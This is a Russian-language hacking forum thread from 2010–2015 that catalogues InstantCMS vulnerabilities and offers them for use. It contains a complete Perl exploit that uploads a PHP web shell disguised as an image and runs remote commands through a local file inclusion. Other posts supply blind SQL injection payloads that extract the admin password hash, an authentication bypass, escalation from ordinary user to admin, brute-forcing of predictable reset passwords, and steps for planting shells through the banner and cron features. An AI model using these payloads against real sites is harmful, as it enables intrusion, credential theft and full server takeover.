|
|
|||
|
|
13.07.2010, 15:09
|
#1 |
|
Обзор уязвимостей instantCMS
свои старые и новые находки перенесу, будет полезно.
Баги в версии<=== v 1.5.1 LFI Need: mq=off index.php PHP код:
PHP код:
Код:
Index.php?view=[LFI]%00 LFI Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана PHP код:
Как юзать: передаем item_id, чтобы не вызвать die и evil file через target. далее можно залить "картинку" в профиле и сделать инклуд. http://localhost/components/rssfeed/...et=evilfile%00 Для удобства написал сплоент дающий выполнение системных команд через LFI. CODE EXECUTION via LFI Код:
#!/usr/bin/perl
######################
# Подключим библиотеки
######################
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use HTTP::Request::Common;
use Time::HiRes qw(sleep);
#####################
# Зададим параметры
#####################
getopt("d:h:u:p");
if (!$opt_h) {
&logo();
exit();
}
if (!$opt_d) {
&logo();
exit();
}
if (!$opt_u) {
&logo();
exit();
}
if (!$opt_p) {
&logo();
exit();
}
$host=$opt_h;
$dir=$opt_d;
$user=$opt_u;
$password=$opt_p;
$page2="index.php";
$page1="core/auth.php";
$page11="login";
$ereg = '<cmd>(.*?)<\/cmd>';
$cmd="echo matrix";
$fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>';
$exit="exit";
######################
# Лицо
#####################
#
sub logo()
{
print
"\t\t
###########################################################################
############ INSTANT CMS <=== 1.5.3 remote code execution #
############ coddddeeddd by The matrix #
###########################################################################
# usage: exploit.pl #
#-h [host] #
# -d[path with site] #
# -u [login] #
# -p [password] #
# exploit.pl -h http://site -d / -u evil -p qwer #
# !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF #
# #
# #
###########################################################################\n\n";
}
#############################
# аутификация
#############################
sub auth() {
print"[~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='ok';
$answer=$client->post(
"http://".$host.$dir.$page1,
[
'login' => $user,
'pass' => $password,
'Submit'=> $op
]
);
}
sub auth2() {
print"[~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='ok';
$answer=$client->post(
"http://".$host.$dir.$page11,
[
'login' => $user,
'pass' => $password,
'Submit'=> $op
]
);
}
#############################
# тест печенюшек
#############################
#
sub test() {
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /logout/){
print"[+]login complete";
}
else{
print "\n[-]login failed...Ok...Time for plan B...";
$debug=1;
}
}
sub test2() {
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /logout/){
print"[+]login complete";
}
else{
print "\n[-]login failed. check you account";
exit();
}
}
#######################
# Get id
#######################
sub id {
print "\n[~] Getting id";
$response = $client->get("http://".$host.$dir.$page2
);
$ans = $response->content;
if ($ans =~ /users\/0\/(.*?)\/profile.html/) {
$id=$1;
print "\n[+] Yes, id = $id";
$page3="users/0/".$id."/addphoto.html";
}
else {
print "\nfailed get id";
exit()
}
}
#######################
# Upl0ad fucking shell
#######################
sub main {
print "\n[~]Uploading...";
$response = $client->request(POST "http://".$host.$dir.$page3,
Content_Type => 'multipart/form-data',
Content =>
[
upload => 1,
userid => $id,
picture =>
[
undef,
"123.jpg",
content => $fucking_shell,
"Content-Type" => "image/gif"
]
]);
$ans = $response->content;
open(F1,"> one.txt");
print (F1 "$ans");
print "\n[~]Get some fucking image hash";
if ($ans =~ /name="imageurl" value="(.*?)"/) {
print "\n[+]image hash = $1";
$hash=$1;
}
}
########################
# CODE EXECUTION Test!
########################
sub exec {
$page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00";
print "\n[~] Testing code execution";
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[
cmd => $cmd
]
);
$ans = $response->content;
if ($ans =~ /matrix/) {
$expl0it3d=1;
print "\n[+] Target has been Exp0it3d!!!!!!!!";
}
else
{
print "\n[-]sorry magic_quotes=on or cms unvulnerable";
}
}
&logo();
&auth();
&test();
if ($debug==1) {
&auth2();
&test2();
}
&id();
&main();
&exec();
########################
#Счастье
########################
if($expl0it3d == 1) {
while($cmd !~ /^exit$/i) {
print "\ncmd-line\#:";
$cmd=<STDIN>;
chomp $cmd;
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[
cmd => $cmd
]
);
$ans = $response->content;
if ($ans =~/$ereg/si) {
print "$1";
}
else {
print "what the fuck????";
}
}
}
 sql inj Need:mq=off Любые Элементы $_POST в instantCMS проходят фильтрацию. Но фильтр оставляет не тронутыми: 1) \ 2) " Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \ Рассмотрим скрипт регистрации юзеров. /components/registration/frontend.php PHP код:
PHP код:
$nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому. вбиваем в поле никнейм следующую шляпу. Код:
1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))# Баги в версии <=== v 1.6.1 множественные sql inj Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой нет зависимостей. Постараюсь рассказать процесс и его суть в точности как он проходил у меня идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось: Код:
POST /core/ajax/karma.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10 Host: localhost Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7 Cookie2: $Version=1 Proxy-Connection: Keep-Alive Content-Transfer-Encoding: binary Content-Length: 39 cd=1&opt=plus&target=content&item_id=20 вот са фак: Сорри. Забегу вперед. С этими переменными мы будем иметь дело. /core/ajax/karma.php PHP код:
PHP код:
/core/cms.php PHP код:
$inCore->loadLib('karma'); подгрузит нам: /core/lib_karma.php Значит далее. /core/lib_karma.php PHP код:
Вернемся к нашему отснифаному пакету. И модифицируем его так: Код:
POST /core/ajax/karma.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10 Host: localhost Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))# Cookie2: $Version=1 Proxy-Connection: Keep-Alive Content-Transfer-Encoding: binary Content-Length: 39 cd=&opt=plus&target=conten Код:
POST /core/ajax/karma.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10 Host: localhost Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))# Cookie2: $Version=1 Proxy-Connection: Keep-Alive Content-Transfer-Encoding: binary Content-Length: 39 cd=&opt=plus&target=conten По причине фильтра POST данных переопределяем item_id через куки. В том же месте есть еще несколько подобных скулей с участием этих же переменных. lib.karma.php PHP код:
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW()) Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW()) Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW()) Переустановка пароля админа и угадывание его Для эксплуатации нужно:Админское мыло(по умолчанию отображается в профиле) много времени. В чем суть: /components/registration/frontend.php PHP код:
1) Проверяет есть ли мыльник в бд. 2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime(). Код:
Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция доступна только на операционных системах, в которых есть системная функция gettimeofday(). При вызове без необязательного параметра, возвращается строка в формате "msec sec", где sec - это количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть. 0.xxxxxx00 [1273589840] где xxxxxx-доли секунды то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix. Как юзать уязвимость: Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату. Там что-то вроде. Показаны секунды, они нам нужны, чтобы брутить меньше. Tue, 11 May 2010 20:39:23 GMT узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT. 2) А вот микросекунды придется брутить, их мы никак не узнаем. Список создаем вида 0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля] пример: 0.30001200 1273589840 всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду. substr(md5(значение), 0, 6) возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака. Пример: 1a512b Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму. У меня на дедике многопоточный брут дает до 11 ппс. 1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации. P.S. Оказывается секунда-это много. Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре 100% содержится правильный пассворд. И если ничего не остается, как вариант вполне можно юзать. Нарушение криптостойкости паролей еще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем:1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами. 2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [[a-f] и [0-9]] расшифровать не трудно) Баги в версии <=== v 1.6.2 Перевод простого юзера в админы Как видно из названия, мы можем из простого юзера попасть в админа. Need MQ=off редактирование профиля: /users/frontend.php PHP код:
Код:
$sql = "UPDATE cms_users SET birthdate='$birthdate', email='$email', icq='$icq', nickname='$nickname' WHERE id = $id"; $inDB->query($sql) ; В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ. Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные. Юзать так: В поле ваше имя вбиваем: group_id=2 # В поле ICQ Вбиваем: 333s \ соответственно $icq=333s \ ; $nickname=group_id=2 # Давайте посмотрим, что у нас получилось. Код:
$sql = "UPDATE cms_users SET birthdate='$birthdate', email='$email', icq='333s \', nickname=', group_id=2 #' WHERE id = $id"; Auth0r1zat1oN byPass Need: mq=off Не буду нагромождать лишним кодом. Запрос для авторизации следующий: PHP код:
' (Кавычка) [Реплейсится в `(апостроф)] легко понять, что этого мало. Как юзать: В поле логин пишем: matrix\ в поле пароль пишем: or id=1# У нас получится: Код:
SELECT *
FROM cms_users
WHERE login = 'matrix\' AND password = md5('or id=1#') AND is_deleted = 0 AND is_locked = 0
Баги в версии <=== v 1.6.2(15 may 2010 patched) Последняя на данный момент. sql injection (insert) MQ=off /components/frontend.php PHP код:
$title $description пропускают \ Как это заюзать создаем на форуме топик Название:matr1x\ Описание: , (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)# Мы получаем Код:
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
VALUES ('$id', '".$inUser->id."', 'matr1x\', ', (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#', '', NOW(), 0)";
Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99 Совсем недавно еще нашел опасный баг в новой версии. Зависимостей нет Тащим свой зад на форму аплоада файлов Код:
http://localhost/users/ваш id/addfile.html PHP код:
То есть зальем файл file.pHp, и он пройдет проверку. После заливки, cms добровольно отдаст ссылку на ваш шелл. Последний раз редактировалось The matrix; 08.12.2011 в 21:10.. Причина: Убрал слова, которые могут обидеть разработчика |
|
|
|
13.07.2010, 17:57
|
#2 |
|
__________________
Twitter - @Ctacok |
|
|
|
|
20.05.2011, 21:21
|
#4 |
|
Заливка шела в админке
Тестилось на версии 1.7. Шаг 1 Идем в админку → Компоненты → Баннеры. При добавлении нового банера, заливаем файл .htaccess с таким содержанием: PHP код:
Cнова добавляем новый банер и при этом заливаем файл с шеллом с расширением .blabla. Шелл зальется в папку images/banners/ Собственно ничего сложного. Отписываю чтобы в следующий раз никто не мучался
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.
|
|
|
|
|
07.06.2011, 02:10
|
#5 |
|
|
InstantCMS <=1.8 sql inj[insert] +bonus
InstantCMS <=1.8 sql inj[INSERT] +bonus
Всем доброго дня, The matrix снова в эфире. Удивительно, популярность движка возрасла в несколько раз по сравнению с моими замерами пол года назад. Need: Включеный форум(по умолчанию включен) Вкллючено добавление аттачей (по умолчанию включено) MQ=пох опасный кодес в файле /components/forum/frontend.php PHP код:
1) вконце имени файла будет приписана какая-то шняга, это не помеха 2) реплейсится пробел тоже не проблема. 3) эксплуатация немного неудобная, так как вывести данные мы можем только в столбик с типом int, так что юзаем ascii. 4) в конце имени файла должно быть разрешенное расширение. Юзать так: шуруем на форум->создаем тему/отвечаем в теме->прилепляем файл->Хватаем запрос локальным прокси->переименовываем файл в Код:
123',3,(select+substring(version(),1,1)),1)#.txt В итоге получаем вывод возле надписи "скачали"  Bonus:Заливка шелла вариант достаточно садистский по отношению к cms. Поэтому целесообразнее использовать вариант, который предложил Dr.Z3r0 сообщением выше. с версии 1.7 в папку images добавлен .htaccess, который припятствует выполнению пхп. Наша задача его убить... На время. Код:
http://localhost/admin/index.php?view=components&do=config&link=banners После создания и успешной заливки данные баннера занесутся в таблицу. PHP код:
в файле /admin/components/banners/backend.php PHP код:
Решение найдено во встроенном дампере, который позволяет выполнить нам любой запрос к бд. Он у нас тут. Код:
http://localhost/admin/index.php?view=backup Код:
UPDATE `cms_banners` SET `fileurl` = '../.htaccess' WHERE `id` =[item_id созданного баннера] LIMIT 1 ; Далее возвращаемя к баннерам. Код:
http://localhost/admin/index.php?view=components&do=config&link=banners Все .htaccess исчез. можно теперь залить шелл через баннеры. Ну и конечно же хорошим тоном будет после заливки вернуть .htaccess на место. Вот и все. (c) The matrix P.S на данный момент 0day.А поэтому убедительная просьба, не ломайте офф сайт. Последний раз редактировалось The matrix; 10.06.2011 в 18:18.. |
|
|
|
|
26.11.2011, 16:47
|
#7 |
|
__________________
http://pix.am/G0fb.png |
|
|
|
|
|
08.12.2011, 19:01
|
#8 |
|
|
InstantCMS v1.9 RC2
v1.9 RC2 <== InstantCMS Тип: Sql injection [INSERT] Зависимости: Включен плагин логинза В чем суть? Код:
Loginza - это интерактивный JavaScript виджет, предоставляющий посетителям Ваших сайтов широкий список вариантов аутентификации через учетные записи распространенных WEB-порталов и сервисов (Яндекс, Google и тп., см. полный список). Замечание: От этой болезни пострадала не только InstantCMS /plugins/p_loginza/plugin.php PHP код:
Значит как использовать. Я нашел такой метод: Заводим себе аккаунт в гугл. (Именно в гугл, так как он единственный из всех сервисов, поддерживаемый логинзой, который позволяет использовать необходимое нам количество символов в имени и фамилии). Значит так: 1.1) регим аккаунт в гугл. 1.2) редактируем аккаунт гугл изменяем имя(first name) на: Код:
met','21232f297a57a5a743894a0e4a801fc3',(select Код:
password from (select password from cms_users where id=1 LIMIT 1) as tmp),0,0,0)# Код:
http://lambot/login 3) после чего мы оказываемся авторизованными(если нет, то аккаунт создастся такой: логин: met21232f297a57a5a743894a0e4a801fc3selectpasswordf romselectpasswordfromcmsuserswhereid1limit1astmp00 пароль:admin. 4) Идем в профиль->настройки->Контакты. И в поле e-mail наблюдаем хеш пароля админа. Последний раз редактировалось The matrix; 08.12.2011 в 19:07.. |
|
|
|
|
13.07.2015, 22:08
|
#10 | |
|
Цитата:
В кроне создаю новую задачу, указываю путь к залитому файлу /userfiles/1.sss, запускаю задачу. Шелл в директории hackedsite.com/upload/shell.php Узкое место здесь - наличие плагина FCKEditor, но можно через любые стандартные заливалки в админке залить файл хоть с расширением txt, код должен выполнится. ЗЫ Абсолютный путь на сервере смотреть через phpinfo в той же админке.
__________________
Roamer, wanderer Nomad, vagabond Call me what you will (c) Metallica |
|
|
|
|
 |
| Метки |
| instantcms |
| Опции темы | Поиск в этой теме |
| Опции просмотра | |
Комбинированный вид
|
|
Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot